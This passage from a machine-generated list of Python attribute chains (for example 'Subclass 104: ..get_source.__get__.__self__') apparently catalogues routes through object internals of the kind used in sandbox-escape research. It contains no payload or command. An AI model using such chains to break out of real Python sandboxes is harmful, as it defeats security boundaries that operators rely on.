..__init__.__init__.__self__", "Subclass 199: ..open_resource.__str__.__self__", "Subclass 109: ..readlines.__repr__.__self__", "Subclass 197: ..find_module.__subclasshook__.__self__", "Subclass 177: .._create_exit_wrapper.__get__.__self__", "Subclass 104: ..get_source.__lt__.__self__", "Subclass 98: .._fill_cache.__str__.__self__", "Subclass 198: ..module_repr.__delattr__.__self__", "Subclass 134: ..__repr__.__class__", "Subclass 86: ..is_package.__self__.exec_module", "Subclass 196: ..Match.__reduce__.__func__", "Subclass 140: ..__enter__.__get__.__self__", "Subclass 109: ..__init_subclass__.__self__.readline", "Subclass 134: ..__init__.__get__.__self__", "Subclass 109: ..__getattr__.__init_subclass__.__self__", "Subclass 183: ..opengroup.__hash__.__self__", "Subclass 138: ..__next__.__hash__.__self__", "Subclass 94: ..get_filename.__repr__.__self__", "Subclass 110: ..readlines.__lt__.__self__", "Subclass 94: ..__hash__.__ge__.__self__", "Subclass 94: ..resource_path.__sizeof__.__self__", "Subclass 107: ..getstate.__ne__.__self__", "Subclass 96: ..module_repr.__self__.is_package", "Subclass 135: ..__call__.__init_subclass__.__self__", "Subclass 98: ..find_module.__call__.__objclass__", "Subclass 107: ..setstate.__repr__.__objclass__", "Subclass 173: ..__get__.__le__.__self__", "Subclass 140: ..__init__.__dir__.__self__", "Subclass 83: ..__init__.__call__.__self__", "Subclass 104: ..get_data.__reduce__.__self__", "Subclass 133: ..__enter__.__call__.__objclass__", "Subclass 107: ..__init__.__class__", "Subclass 195: ..TextIO.read", "Subclass 140: ..__exit__.__repr__.__self__", "Subclass 96: ..get_source.__setattr__.__self__", "Subclass 164: ..repr.__get__.__objclass__", "Subclass 177: .._create_exit_wrapper.__getattribute__.__self__", "Subclass 105: ..__subclasshook__.__self__.__init__", "Subclass 133: ..__weakref__.__objclass__.__enter__", "Subclass 172: .._make_unbound_method.__format__.__self__", "Subclass 177: ..enter_context.__setattr__.__self__", "Subclass 94: ..get_filename", "Subclass 177: ..pop_all.__call__.__objclass__", "Subclass 109: ..__getattr__.__reduce__.__self__", "Subclass 81: ..__repr__.__reduce_ex__.__self__", "Subclass 110: ..__getattr__.__new__.__self__", "Subclass 109: ..reset.__eq__.__self__", "Subclass 164: .._repr_iterable.__subclasshook__.__self__", "Subclass 104: ..get_filename.__le__.__self__", "Subclass 110: ..read.__ge__.__self__", "Subclass 177: ..__subclasshook__.__self__.push", "Subclass 164: ..repr_list.__dir__.__self__", "Subclass 184: ..append.__dir__.__self__", "Subclass 184: ..dump.__ne__.__self__", "Subclass 199: ..open_resource.__setattr__.__self__", "Subclass 80: ..__init__.__dir__.__self__", "Subclass 96: ..__init__.__class__", "Subclass 164: ..repr_deque.__get__.__objclass__", "Subclass 81: ..__init__.__hash__.__self__", "Subclass 95: ..__subclasshook__.__self__.append", "Subclass 185: ..getwhile.__reduce__.__self__", "Subclass 197: ..find_module.__ne__.__self__", "Subclass 94: ..get_data.__sizeof__.__self__", "Subclass 185: ..get.__call__.__self__", "Subclass 184: ..__delitem__.__reduce__.__self__", "Subclass 183: ..opengroup.__call__.__self__", "Subclass 94: ..load_module.__class__", "Subclass 109: ..readlines.__call__.__self__", "Subclass 185: ..getwhile.__get__.__self__", "Subclass 95: .._get_parent_path.__ne__.__self__", "Subclass 86: ..get_source.__self__.exec_module", "Subclass 95: ..__iter__.__reduce__.__self__", "Subclass 109: ..__iter__.__delattr__.__self__", "Subclass 104: ..load_module.__le__.__self__", "Subclass 195: ..TextIO.readable", "Subclass 80: ..has_deadlock.__call__.__self__", "Subclass 95: ..__init__.__subclasshook__.__self__", "Subclass 185: ..tell.__str__.__self__", "Subclass 164: ..__init__.__new__.__self__", "Subclass 137: ..deleter.__repr__.__self__", "Subclass 93: ..load_module.__call__.__objclass__", "Subclass 83: ..__init_subclass__.__self__.__init__", "Subclass 195: ..IO.__enter__", "Subclass 130: ..__len__.__reduce_ex__.__self__", "Subclass 110: ..write.__hash__.__self__", "Subclass 177: .._create_cb_wrapper.__eq__.__self__", "Subclass 104: ..get_filename.__new__.__self__", "Subclass 196: ..Pattern.__getattr__.__func__", "Subclass 184: ..append.__hash__.__self__", "Subclass 109: ..__exit__.__call__.__self__", "Subclass 140: ..__subclasshook__.__self__.__repr__", "Subclass 184: ..__setitem__.__class__", "Subclass 98: ..__repr__.__eq__.__self__", "Subclass 184: ..__getitem__.__repr__.__self__", "Subclass 185: ..getuntil.__new__.__self__", "Subclass 107: ..__weakref__.__objclass__.__init__", "Subclass 114: ..__hash__.__reduce_ex__.__self__", "Subclass 199: ..contents.__dir__.__self__", "Subclass 197: ..find_module.__reduce__.__self__", "Subclass 199: ..is_resource.__le__.__self__", "Subclass 94: ..__hash__.__format__.__self__", "Subclass 83: ..__init__.__init_subclass__.__self__", "Subclass 133: ..__iter__.__ne__.__self__", "Subclass 184: ..__repr__.__new__.__self__", "Subclass 95: ..__getitem__.__call__.__objclass__", "Subclass 94: ..get_filename.__repr__.__objclass__", "Subclass 109: ..__iter__.__repr__.__objclass__", "Subclass 110: ..reset.__reduce__.__self__", "Subclass 81: ..acquire.__le__.__self__", "Subclass 137: ..__delete__.__lt__.__self__", "Subclass 188: ..__init_subclass__.__self__.__deepcopy__", "Subclass 164: ..repr_array", "Subclass 82: ..__init__.__gt__.__self__", "Subclass 188: ..__deepcopy__.__init_subclass__.__self__", "Subclass 110: ..__getattr__.__repr__.__self__", "Subclass 185: ..get.__reduce_ex__.__self__", "Subclass 164: ..repr_str.__gt__.__self__", "Subclass 105: ..is_resource.__repr__.__self__", "Subclass 177: .._push_cm_exit.__get__.__objclass__", "Subclass 139: ..__init__.__hash__.__self__", "Subclass 138: ..__init__.__reduce_ex__.__self__", "Subclass 192: ..__new__.__lt__.__self__", "Subclass 94: ..get_data.__delattr__.__self__", "Subclass 109: ..write.__eq__.__self__", "Subclass 104: ..find_loader.__getattribute__.__self__", "Subclass 98: ..__repr__.__get__.__self__", "Subclass 94: ..resource_path.__init__.__self__", "Subclass 104: ..find_loader.__ne__.__self__", "Subclass 107: ..getstate.__lt__.__self__", "Subclass 173: ..__init__.__repr__.__objclass__", "Subclass 94: ..__init__.__getattribute__.__self__", "Subclass 134: ..__call__", "Subclass 104: ..find_module.__get__.__objclass__", "Subclass 96: ..__init__.__dir__.__self__", "Subclass 96: ..__init__.__delattr__.__self__", "Subclass 95: .._recalculate.__delattr__.__self__", "Subclass 94: ..__eq__.__call__.__objclass__", "Subclass 83: ..__init__.__setattr__.__self__", "Subclass 109: ..seek.__get__.__objclass__", "Subclass 115: ..__await__.__repr__.__objclass__", "Subclass 105: ..__init__.__get__.__self__", "Subclass 94: ..is_resource.__repr__.__self__", "Subclass 136: ..__call__.__get__.__self__", "Subclass 107: ..setstate.__sizeof__.__self__", "Subclass 98: ..find_loader.__call__.__objclass__", "Subclass 172: ..__get__.__setattr__.__self__", "Subclass 81: ..__init_subclass__.__self__.__repr__", "Subclass 185: ..getwhile.__init_subclass__.__self__", "Subclass 199: ..open_resource.__dir__.__self__", "Subclass 83: ..__init__.__reduce_ex__.__self__", "Subclass 177: ..pop_all.__class__", "Subclass 81: ..__repr__.__delattr__.__self__", "Subclass 198: ..create_module.__eq__.__self__", "Subclass 115: ..__await__.__le__.__self__", "Subclass 87: ..__exit__.__getattribute__.__self__", "Subclass 96: ..__subclasshook__.__self__.__init__", "Subclass 198: ..create_module.__ne__.__self__", "Subclass 107: ..encode.__ge__.__self__", "Subclass 95: ..__contains__.__call__.__objclass__", "Subclass 98: ..find_spec.__get__.__self__", "Subclass 185: ..__init_subclass__.__self__.getwhile", "Subclass 108: ..getstate.__repr__.__objclass__", "Subclass 98: ..find_spec.__subclasshook__.__self__", "Subclass 177: ..callback.__repr__.__objclass__", "Subclass 98: ..find_loader.__init__.__self__", "Subclass 183: ..closegroup.__get__.__self__", "Subclass 110: ..write.__dir__.__self__", "Subclass 164: .._repr_iterable.__repr__.__objclass__", "Subclass 93: ..load_module.__init__.__self__", "Subclass 197: ..find_module.__repr__.__self__", "Subclass 114: ..__class__.__subclasscheck__", "Subclass 132: ..__class_getitem__.__func__.__getitem__", "Subclass 164: ..repr_int.__repr__.__self__", "Subclass 104: ..get_source.__get__.__self__", "Subclass 80: ..__repr__.__init__.__self__", "Subclass 134: ..__call__.__format__.__self__", "Subclass 95: ..__getitem__.__delattr__.__self__", "Subclass 183: ..closegroup.__init_subclass__.__self__", "Subclass 106: ..encode.__gt__.__self__", "Subclass 109: ..read.__ge__.__self__", "Subclass 177: ..push", "Subclass 133: ..close.__lt__.__self__", "Subclass 109: ..__enter__.__init__.__self__", "Subclass 107: ..__init_subclass__.__self__.setstate", "Subclass 105: ..contents.__new__.__self__", "Subclass 172: ..__get__.__format__.__self__", "Subclass 81: ..acquire.__getattribute__.__self__", "Subclass 139: ..__subclasshook__.__self__.__str__", "Subclass 185: ..getuntil.__get__.__self__", "Subclass 106: ..decode.__gt__.__self__", "Subclass 164: ..repr_array.__getattribute__.__self__", "Subclass 184: ..__getitem__.__le__.__self__", "Subclass 177: ..callback.__get__.__objclass__", "Subclass 164: ..repr_str.__reduce__.__self__", "Subclass 138: ..__init__.__gt__.__self__", "Subclass 138: ..send.__get__.__self__", "Subclass 86: ..__init_subclass__.__self__.exec_module", "Subclass 94: ..load_module.__format__.__self__", "Subclass 137: ..__init__", "Subclass 138: ..__subclasshook__.__self__.__iter__", "Subclass 132: ..__call__.__ge__.__self__", "Subclass 133: ..close.__repr__.__self__", "Subclass 110: ..__iter__.__ge__.__self__", "Subclass 96: ..get_code.__reduce__.__self__", "Subclass 96: ..module_repr.__self__.exec_module", "Subclass 110: ..__subclasshook__.__self__.readline", "Subclass 95: ..__len__.__dir__.__self__", "Subclass 135: ..__repr__.__repr__.__objclass__", "Subclass 137: ..deleter.__eq__.__self__", "Subclass 183: ..__init__.__dir__.__self__", "Subclass 184: ..__delitem__.__sizeof__.__self__", "Subclass 199: ..open_resource.__reduce_ex__.__self__", "Subclass 105: ..__init__.__lt__.__self__", "Subclass 138: ..send.__ne__.__self__", "Subclass 109: ..__exit__.__reduce_ex__.__self__", "Subclass 110: ..write.__repr__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_set", "Subclass 164: .._repr_iterable.__class__", "Subclass 137: ..__delete__.__subclasshook__.__self__", "Subclass 108: ..decode.__repr__.__objclass__", "Subclass 104: ..get_source.__reduce_ex__.__self__", "Subclass 164: ..repr_int.__ne__.__self__", "Subclass 177: ..enter_context.__hash__.__self__", "Subclass 83: ..__weakref__.__objclass__.__init__", "Subclass 164: ..repr_frozenset.__le__.__self__", "Subclass 198: ..create_module.__get__.__objclass__", "Subclass 179: ..__class__._convert_", "Subclass 196: ..Pattern.__instancecheck__.__func__", "Subclass 105: ..contents.__sizeof__.__self__", "Subclass 95: ..__iter__.__init_subclass__.__self__", "Subclass 105: ..resource_path.__subclasshook__.__self__", "Subclass 94: ..open_resource.__repr__.__self__", "Subclass 94: ..__init__.__subclasshook__.__self__", "Subclass 133: ..__exit__.__getattribute__.__self__", "Subclass 86: ..module_repr.__init__.__self__", "Subclass 137: ..deleter", "Subclass 185: ..match.__get__.__self__", "Subclass 185: ..getuntil.__lt__.__self__", "Subclass 185: ..error.__hash__.__self__", "Subclass 86: ..module_repr.__subclasshook__.__self__", "Subclass 175: ..__weakref__.__objclass__._recreate_cm", "Subclass 80: ..has_deadlock.__le__.__self__", "Subclass 195: ..TextIO.flush.__class__", "Subclass 104: ..find_module.__init_subclass__.__self__", "Subclass 108: ..decode.__init__.__self__", "Subclass 80: ..release.__repr__.__self__", "Subclass 104: ..get_source.__repr__.__objclass__", "Subclass 96: ..get_source.__new__.__self__", "Subclass 104: ..__init__.__init__.__self__", "Subclass 110: ..readline.__lt__.__self__", "Subclass 130: ..__len__.__str__.__self__", 'Global func 1: ..__class__.__kwdefaults__.__objclass__', "Subclass 95: ..__init__.__hash__.__self__", "Subclass 80: ..__init__.__repr__.__self__", "Subclass 172: ..__init__.__ne__.__self__", "Subclass 185: ..getuntil.__getattribute__.__self__", "Subclass 139: ..__init__.__call__.__self__", "Subclass 109: ..__subclasshook__.__self__.__next__", "Subclass 94: ..__eq__.__hash__.__self__", "Subclass 196: ..Pattern.__mro_entries__.__func__", "Subclass 177: .._push_cm_exit.__call__.__self__", "Subclass 94: ..open_resource.__init_subclass__.__self__", "Subclass 138: ..__iter__", "Subclass 105: ..contents.__le__.__self__", "Subclass 107: ..encode.__repr__.__objclass__", "Subclass 137: ..__delete__.__get__.__self__", "Subclass 109: ..write.__ne__.__self__", "Subclass 195: ..BinaryIO.__class_getitem__.__func__", "Subclass 106: ..encode.__dir__.__self__", "Subclass 135: ..__repr__.__sizeof__.__self__", "Subclass 109: ..__enter__.__sizeof__.__self__", "Subclass 95: ..__subclasshook__.__self__.__setitem__", "Subclass 109: ..readline.__repr__.__self__", "Subclass 138: ..__iter__.__call__.__objclass__", "Subclass 164: ..repr_deque.__get__.__self__", "Subclass 164: ..repr.__gt__.__self__", "Subclass 131: ..__contains__.__getattribute__.__self__", "Subclass 133: ..__enter__.__repr__.__self__", "Subclass 104: ..get_filename.__class__", "Subclass 95: ..__len__.__ne__.__self__", "Subclass 134: ..__call__.__reduce__.__self__", "Subclass 104: ..is_package.__sizeof__.__self__", "Subclass 82: ..__enter__.__init__.__self__", "Subclass 96: ..__init_subclass__.__self__.load_module", "Subclass 138: ..throw.__gt__.__self__", "Subclass 98: ..invalidate_caches.__reduce__.__self__", "Subclass 140: ..__enter__.__delattr__.__self__", "Subclass 81: ..acquire.__get__.__objclass__", "Subclass 110: ..seek.__dir__.__self__", "Subclass 196: ..Pattern.__repr__.__func__", "Subclass 110: ..read.__repr__.__objclass__", "Subclass 177: ..push.__ne__.__self__", "Subclass 183: ..__init__.__hash__.__self__", "Subclass 140: ..__enter__.__call__.__self__", "Subclass 137: ..__delete__.__gt__.__self__", "Subclass 195: ..IO.writable", "Subclass 109: ..__init__.__ge__.__self__", "Subclass 132: ..__call__.__getattribute__.__self__", "Subclass 185: ..match.__call__.__objclass__", "Subclass 109: ..__init__.__le__.__self__", "Subclass 81: ..release.__dir__.__self__", "Subclass 94: ..get_data.__get__.__self__", "Subclass 98: .._get_spec.__class__", "Subclass 104: ..find_module.__call__.__objclass__", "Subclass 94: ..__eq__.__getattribute__.__self__", "Subclass 105: ..open_resource.__delattr__.__self__", "Subclass 110: ..__next__.__init_subclass__.__self__", "Subclass 104: ..find_module.__subclasshook__.__self__", "Subclass 108: ..__init__.__delattr__.__self__", "Subclass 109: ..__enter__.__str__.__self__", "Subclass 104: ..get_filename.__get__.__self__", "Subclass 137: ..__init__.__gt__.__self__", "Subclass 186: ..__init__.__call__.__objclass__", "Subclass 133: ..__exit__.__repr__.__self__", "Subclass 131: ..__contains__.__ge__.__self__", "Subclass 95: ..__setitem__.__call__.__objclass__", "Subclass 185: ..getwhile.__repr__.__objclass__", "Subclass 198: ..__class__.__new__.__class__", "Subclass 117: ..__aiter__.__init__.__self__", "Subclass 94: ..load_module.__init_subclass__.__self__", "Subclass 104: ..get_resource_reader.__lt__.__self__", "Subclass 175: ..__call__.__repr__.__self__", "Subclass 183: ..checkgroup.__get__.__self__", "Subclass 137: ..__delete__.__sizeof__.__self__", "Subclass 86: ..exec_module.__repr__.__self__", "Subclass 98: ..__init__.__get__.__self__", "Subclass 97: .._get_spec.__func__", "Subclass 195: ..IO.read.__class__", "Subclass 109: ..__enter__.__delattr__.__self__", "Subclass 140: ..__repr__.__repr__.__self__", "Subclass 164: ..repr_set.__subclasshook__.__self__", "Subclass 104: ..get_source.__get__.__objclass__", "Subclass 109: ..__getattr__.__subclasshook__.__self__", "Subclass 109: ..__init_subclass__.__self__.write", "Subclass 109: ..__init__.__reduce_ex__.__self__", "Subclass 94: ..__eq__.__ne__.__self__", "Subclass 164: ..repr_dict.__reduce__.__self__", "Subclass 183: ..__init__.__reduce_ex__.__self__", "Subclass 95: ..__getitem__.__init__.__self__", "Subclass 185: ..seek.__call__.__objclass__", "Subclass 199: ..is_resource.__init__.__self__", "Subclass 136: ..__repr__.__str__.__self__", "Subclass 164: ..repr_set.__hash__.__self__", "Subclass 105: ..is_resource.__gt__.__self__", "Subclass 164: ..repr_frozenset.__class__", "Subclass 110: ..__init__.__str__.__self__", "Subclass 184: ..append.__setattr__.__self__", "Subclass 94: ..__eq__.__gt__.__self__", "Subclass 164: ..repr_str.__ge__.__self__", "Subclass 110: ..__enter__.__lt__.__self__", "Subclass 104: ..__weakref__.__objclass__.__repr__", "Subclass 107: ..getstate.__reduce__.__self__", "Subclass 95: .._find_parent_path_names.__class__", "Subclass 164: ..repr_int.__getattribute__.__self__", "Subclass 185: ..__weakref__.__objclass__.__init__", "Subclass 81: ..release.__repr__.__self__", "Subclass 109: ..reset.__repr__.__objclass__", "Subclass 185: ..getuntil.__subclasshook__.__self__", "Subclass 94: ..__weakref__.__objclass__.open_resource", "Subclass 95: ..__init__.__le__.__self__", "Subclass 199: ..is_resource.__get__.__objclass__", "Subclass 173: ..__get__.__repr__.__objclass__", "Subclass 94: ..__init__.__eq__.__self__", "Subclass 94: ..is_resource.__dir__.__self__", "Subclass 105: ..open_resource.__class__", "Subclass 96: ..is_package.__get__.__self__", "Subclass 110: ..readlines.__class__", "Subclass 192: ..__new__.__sizeof__.__self__", "Subclass 186: ..scan.__str__.__self__", "Subclass 107: ..setstate.__getattribute__.__self__", "Subclass 139: ..__init__.__subclasshook__.__self__", "Subclass 185: ..getwhile.__ne__.__self__", "Subclass 183: ..checklookbehindgroup.__format__.__self__", "Subclass 198: ..module_repr.__setattr__.__self__", "Subclass 195: ..BinaryIO.isatty", "Subclass 109: ..seek.__hash__.__self__", "Subclass 108: ..setstate.__ne__.__self__", "Subclass 110: ..__next__.__subclasshook__.__self__", "Subclass 185: ..get.__get__.__objclass__", "Subclass 177: ..callback.__repr__.__self__", "Subclass 95: ..__iter__", "Subclass 184: ..__init_subclass__.__self__.__len__", "Subclass 95: ..__init__.__ge__.__self__", "Subclass 94: ..is_resource.__get__.__objclass__", "Subclass 94: ..resource_path.__class__", "Subclass 98: ..__repr__.__reduce__.__self__", "Subclass 164: ..repr_tuple.__setattr__.__self__", "Subclass 109: ..__weakref__.__objclass__.__init__", "Subclass 104: ..get_code.__subclasshook__.__self__", "Subclass 164: ..repr_frozenset.__reduce_ex__.__self__", "Subclass 82: ..__exit__.__getattribute__.__self__", "Subclass 107: ..setstate.__ne__.__self__", "Subclass 95: ..__getitem__.__sizeof__.__self__", "Subclass 96: ..create_module.__format__.__self__", "Subclass 188: ..__copy__.__dir__.__self__", "Subclass 117: ..__aiter__", "Subclass 119: ..__class__._abc_caches_clear.__class__", "Subclass 110: ..read.__eq__.__self__", "Subclass 197: ..__class__.__subclasscheck__.__class__", "Subclass 105: ..is_resource.__init__.__self__", "Subclass 94: ..__init_subclass__.__self__.__eq__", "Subclass 138: ..__await__.__format__.__self__", "Subclass 183: ..opengroup.__subclasshook__.__self__", "Subclass 185: .._Tokenizer__next.__get__.__objclass__", "Subclass 195: ..TextIO.readlines", "Subclass 130: ..__len__.__delattr__.__self__", "Subclass 94: ..__eq__.__eq__.__self__", 'Global func 1: ..__eq__.__self__', "Subclass 107: ..setstate.__call__.__self__", "Subclass 96: ..is_package.__hash__.__self__", "Subclass 137: ..__subclasshook__.__self__.__init__", "Subclass 110: ..read.__init__.__self__", "Subclass 198: ..module_repr.__get__.__self__", "Subclass 138: ..send.__getattribute__.__self__", "Subclass 109: ..__iter__.__gt__.__self__", "Subclass 135: ..__init__.__reduce__.__self__", "Subclass 110: ..__getattr__.__dir__.__self__", "Subclass 95: .._find_parent_path_names.__le__.__self__", "Subclass 93: ..is_package.__hash__.__self__", "Subclass 174: ..__get__.__ne__.__self__", "Subclass 138: ..__next__.__str__.__self__", "Subclass 173: ..__get__.__str__.__self__", "Subclass 164: ..repr_dict.__new__.__self__", "Subclass 184: ..dump.__lt__.__self__", "Subclass 110: ..__next__.__ge__.__self__", "Subclass 177: ..__init__.__getattribute__.__self__", "Subclass 81: ..__subclasshook__.__self__.__repr__", "Subclass 183: ..__init_subclass__.__self__.closegroup", "Subclass 110: ..writelines.__format__.__self__", "Subclass 135: ..__repr__.__new__.__self__", "Subclass 137: ..deleter.__init__.__self__", "Subclass 95: .._recalculate.__init__.__self__", "Subclass 198: ..create_module.__call__.__objclass__", "Subclass 81: ..__repr__.__repr__.__self__", "Subclass 140: ..__repr__.__call__.__objclass__", "Subclass 110: ..writelines.__sizeof__.__self__", "Subclass 137: ..deleter.__class__", "Subclass 83: ..__init__.__getattribute__.__self__", "Subclass 108: ..getstate.__call__.__self__", "Subclass 185: ..match.__hash__.__self__", "Subclass 104: ..load_module.__init_subclass__.__self__", "Subclass 164: ..repr_frozenset.__get__.__self__", "Subclass 93: ..create_module.__call__.__objclass__", "Subclass 109: ..__getattr__.__le__.__self__", "Subclass 135: ..__call__.__get__.__objclass__", "Subclass 197: ..__class__.register", "Subclass 138: ..__await__.__repr__.__self__", "Subclass 183: ..__subclasshook__.__self__.__init__", "Subclass 130: ..__len__.__get__.__objclass__", "Subclass 131: ..__contains__.__delattr__.__self__", "Subclass 82: ..__exit__.__str__.__self__", "Subclass 185: .._Tokenizer__next.__repr__.__self__", "Subclass 104: ..load_module.__reduce_ex__.__self__", "Subclass 177: .._push_cm_exit.__reduce__.__self__", "Subclass 188: ..__copy__.__reduce_ex__.__self__", "Subclass 138: ..close.__init_subclass__.__self__", "Subclass 93: ..load_module", "Subclass 173: ..__init__.__get__.__objclass__", "Subclass 108: ..setstate.__call__.__self__", "Subclass 135: ..__call__.__delattr__.__self__", "Subclass 164: ..repr_instance.__reduce_ex__.__self__", "Subclass 177: .._push_cm_exit.__dir__.__self__", "Subclass 164: ..repr_list.__setattr__.__self__", "Subclass 164: ..repr_str.__subclasshook__.__self__", "Subclass 184: ..__repr__.__delattr__.__self__", "Subclass 177: ..__init__.__ge__.__self__", "Subclass 174: ..__get__.__new__.__self__", "Subclass 196: ..Pattern.__class__.__call__", "Subclass 96: ..get_code.__eq__.__self__", "Subclass 107: ..reset.__format__.__self__", "Subclass 183: ..checkgroup.__call__.__self__", "Subclass 110: ..__enter__.__setattr__.__self__", "Subclass 117: ..__aiter__.__reduce__.__self__", "Subclass 185: .._Tokenizer__next.__delattr__.__self__", "Subclass 109: ..__exit__.__new__.__self__", "Subclass 164: .._repr_iterable.__gt__.__self__", "Subclass 134: ..__repr__.__call__.__self__", "Subclass 196: ..Pattern.__class__.copy_with", "Subclass 137: ..__delete__.__getattribute__.__self__", "Subclass 106: ..encode.__ge__.__self__", "Subclass 135: ..__repr__", "Subclass 199: ..contents.__repr__.__self__", "Subclass 95: ..__getitem__.__lt__.__self__", "Subclass 164: ..repr_instance.__setattr__.__self__", "Subclass 84: ..create_module.__func__", "Subclass 195: ..BinaryIO.seek.__class__", "Subclass 86: ..__init_subclass__.__self__.module_repr", "Subclass 110: ..__exit__.__sizeof__.__self__", "Subclass 87: ..__enter__.__str__.__self__", "Subclass 184: ..dump.__le__.__self__", "Subclass 164: ..repr_dict.__str__.__self__", "Subclass 138: ..__init__.__ge__.__self__", "Subclass 104: ..get_filename.__call__.__objclass__", "Subclass 80: ..__subclasshook__.__self__.release", "Subclass 107: ..__init__.__get__.__self__", "Subclass 95: ..__len__.__init__.__self__", "Subclass 82: ..__exit__.__sizeof__.__self__", "Subclass 83: ..__repr__.__get__.__objclass__", "Subclass 96: ..load_module.__reduce__.__self__", "Subclass 82: ..__init__.__reduce_ex__.__self__", "Subclass 138: ..throw.__getattribute__.__self__", "Subclass 185: ..getwhile.__str__.__self__", "Subclass 98: ..__init__.__hash__.__self__", "Subclass 117: ..__aiter__.__eq__.__self__", "Subclass 140: ..__init__.__init_subclass__.__self__", "Subclass 119: ..__iter__.__le__.__self__", "Subclass 139: ..__str__.__format__.__self__", "Subclass 81: ..acquire.__setattr__.__self__", "Subclass 94: ..resource_path.__reduce_ex__.__self__", "Subclass 109: ..__iter__.__ne__.__self__", "Subclass 135: ..__repr__.__setattr__.__self__", "Subclass 137: ..setter.__le__.__self__", "Subclass 94: ..__hash__.__dir__.__self__", "Subclass 96: ..exec_module.__hash__.__self__", "Subclass 94: ..open_resource.__getattribute__.__self__", "Subclass 83: ..__repr__.__setattr__.__self__", "Subclass 138: ..__init__.__sizeof__.__self__", "Subclass 108: ..setstate.__subclasshook__.__self__", "Subclass 83: ..__repr__.__reduce__.__self__", "Subclass 95: ..__contains__.__eq__.__self__", "Subclass 104: ..is_package.__init__.__self__", "Subclass 110: ..__init__.__call__.__self__", "Subclass 184: ..__repr__.__le__.__self__", "Subclass 80: ..__init__.__setattr__.__self__", "Subclass 177: .._create_cb_wrapper.__ge__.__self__", "Subclass 104: ..get_source.__ne__.__self__", "Subclass 183: ..checkgroup.__get__.__objclass__", "Subclass 136: ..__repr__.__getattribute__.__self__", "Subclass 94: ..__weakref__.__objclass__.resource_path", "Subclass 133: ..__enter__.__str__.__self__", "Subclass 184: ..__init__.__str__.__self__", "Subclass 110: ..__init__.__gt__.__self__", "Subclass 109: ..__subclasshook__.__self__.__getattr__", "Subclass 186: ..scan.__gt__.__self__", "Subclass 199: ..resource_path.__getattribute__.__self__", "Subclass 94: ..get_filename.__le__.__self__", "Subclass 199: ..is_resource.__eq__.__self__", "Subclass 184: ..__len__.__get__.__self__", "Subclass 133: ..__enter__.__subclasshook__.__self__", "Subclass 172: .._make_unbound_method.__repr__.__objclass__", "Subclass 107: ..__init__.__lt__.__self__", "Subclass 177: ..enter_context.__call__.__self__", "Subclass 140: ..__repr__.__delattr__.__self__", "Subclass 195: ..IO.fileno.__class__", "Subclass 188: ..__copy__.__eq__.__self__", "Subclass 95: ..__iter__.__ne__.__self__", "Subclass 133: ..close.__init_subclass__.__self__", "Subclass 107: ..getstate.__str__.__self__", "Subclass 185: ..error.__dir__.__self__", "Subclass 104: ..find_module.__reduce_ex__.__self__", "Subclass 94: ..__subclasshook__.__self__.get_resource_reader", "Subclass 183: ..checkgroup.__eq__.__self__", "Subclass 98: ..find_spec.__reduce_ex__.__self__", "Subclass 195: ..BinaryIO.write", "Subclass 94: ..contents.__format__.__self__", "Subclass 183: ..checklookbehindgroup.__le__.__self__", "Subclass 164: ..repr_array.__get__.__objclass__", "Subclass 94: ..get_resource_reader.__ne__.__self__", "Subclass 83: ..__eq__.__delattr__.__self__", "Subclass 138: ..send.__reduce_ex__.__self__", "Subclass 137: ..__set__.__setattr__.__self__", "Subclass 164: ..repr_tuple.__get__.__objclass__", "Subclass 94: ..is_resource.__subclasshook__.__self__", "Subclass 96: ..exec_module.__eq__.__self__", "Subclass 185: ..__init__.__sizeof__.__self__", "Subclass 172: .._make_unbound_method.__gt__.__self__", 'Global func 1: ..__class__.__repr__.__objclass__', "Subclass 188: ..__copy__.__setattr__.__self__", "Subclass 131: ..__contains__.__reduce_ex__.__self__", "Subclass 185: .._Tokenizer__next.__str__.__self__", "Subclass 187: ..__init_subclass__.__func__", "Subclass 179: ..__class__._create_", "Subclass 177: .._push_exit_callback.__repr__.__self__", "Subclass 108: ..__init_subclass__.__self__.reset", "Subclass 94: ..__init_subclass__.__self__.resource_path", "Subclass 137: ..__set__.__new__.__self__", "Subclass 86: ..exec_module", "Subclass 95: ..append.__format__.__self__", "Subclass 107: ..__init__.__repr__.__self__", "Subclass 87: ..__exit__.__subclasshook__.__self__", "Subclass 109: ..__next__.__call__.__self__", "Subclass 86: ..find_spec.__func__.__class__", "Subclass 110: ..writelines.__reduce_ex__.__self__", "Subclass 177: .._push_exit_callback", "Subclass 96: ..get_source.__call__.__objclass__", "Subclass 115: ..__await__.__ne__.__self__", "Subclass 184: ..append.__init_subclass__.__self__", "Subclass 96: ..get_code.__getattribute__.__self__", "Subclass 164: ..repr.__ge__.__self__", "Subclass 186: ..__weakref__.__objclass__.scan", "Subclass 133: ..__subclasshook__.__self__.__init__", "Subclass 109: ..reset.__lt__.__self__", "Subclass 198: ..load_module.__call__.__objclass__", "Subclass 137: ..__set__.__format__.__self__", "Subclass 80: ..__weakref__.__objclass__.__init__", "Subclass 109: ..writelines.__eq__.__self__", "Subclass 133: ..__exit__.__sizeof__.__self__", "Subclass 109: ..read.__get__.__self__", "Subclass 104: ..get_data.__setattr__.__self__", "Subclass 138: ..send.__lt__.__self__", "Subclass 95: ..__iter__.__new__.__self__", "Subclass 104: ..find_loader.__gt__.__self__", "Subclass 107: ..__init__.__ne__.__self__", "Subclass 95: ..__contains__.__getattribute__.__self__", "Subclass 195: ..TextIO.seek", "Subclass 95: ..append.__ne__.__self__", "Subclass 198: ..load_module.__new__.__self__", "Subclass 104: ..load_module.__delattr__.__self__", "Subclass 184: ..__getitem__.__get__.__self__", "Subclass 96: ..is_package.__le__.__self__", "Subclass 184: ..getwidth.__call__.__objclass__", "Subclass 98: ..__repr__.__get__.__objclass__", "Subclass 183: ..checkgroup.__str__.__self__", "Subclass 94: ..__eq__", "Subclass 107: ..encode.__getattribute__.__self__", "Subclass 175: ..__call__.__eq__.__self__", "Subclass 96: ..exec_module.__call__.__objclass__", "Subclass 109: ..__getattr__.__init__.__self__", "Subclass 110: ..__getattr__.__getattribute__.__self__", "Subclass 185: ..tell.__reduce__.__self__", "Subclass 134: ..__init__.__sizeof__.__self__", "Subclass 98: .._fill_cache.__get__.__objclass__", "Subclass 131: ..__contains__.__repr__.__self__", "Subclass 95: .._find_parent_path_names.__gt__.__self__", "Subclass 94: ..load_module.__getattribute__.__self__", "Subclass 184: ..__delitem__.__ge__.__self__", "Subclass 95: ..__getitem__.__ne__.__self__", "Subclass 80: ..acquire", "Subclass 94: ..get_resource_reader.__ge__.__self__", "Subclass 94: 